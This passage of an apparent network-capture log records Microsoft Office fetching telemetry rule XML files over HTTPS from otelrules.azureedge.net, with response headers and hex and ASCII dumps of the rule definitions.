2024-10-28 18:12:36 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49852	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:36 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:36 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:36 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181236Z-r1755647c66vwt2b5wfzb6a204000000020000000000f6f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:36 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49854	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:36 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:36 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:36 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 08154944-901e-0083-2112-29bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181236Z-17fbfdc98bbwj6cp6df5812g4s00000006w000000000cttc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:36 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49853	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:36 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:37 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:36 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c21b1165-c01e-008e-596f-287381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181236Z-17fbfdc98bbfmg5wrf1ctcuuun00000005v00000000037ww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:37 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49855	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:36 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:37 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 672cac94-f01e-00aa-27b2-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181236Z-r1755647c66t77qv3m6k1gb3zw0000000550000000000beg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49856	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:37 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:37 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: ead33fc5-401e-0029-0967-289b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181237Z-r1755647c66qg7mpa8m0fzcvy000000006gg00000000cpnb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49857	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:37 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:37 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:37 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 4bfb087f-501e-008f-4c9c-279054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181237Z-17fbfdc98bbngfjxtncsq24exs000000074g000000006mu5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:37 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49858	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:37 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:38 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:37 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181237Z-r1755647c66tsn7nz9wda692z000000003tg000000004wem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:38 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49860	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:37 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:38 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:37 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 0c5aa6f6-c01e-000b-5d92-25e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181237Z-r1755647c66f4bf880huw27dwc00000006u0000000002y8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:38 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49859	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:37 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:38 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:38 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181238Z-r1755647c666s72wx0z5rz6s6000000006bg00000000f79g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:38 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49861	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:38 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:38 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:38 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181238Z-r1755647c666s72wx0z5rz6s6000000006h0000000001fkp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:38 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49862	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:38 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:38 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:38 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 04ace5c9-101e-007a-5c26-26047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181238Z-r1755647c66qg7mpa8m0fzcvy000000006fg00000000ez9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:38 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 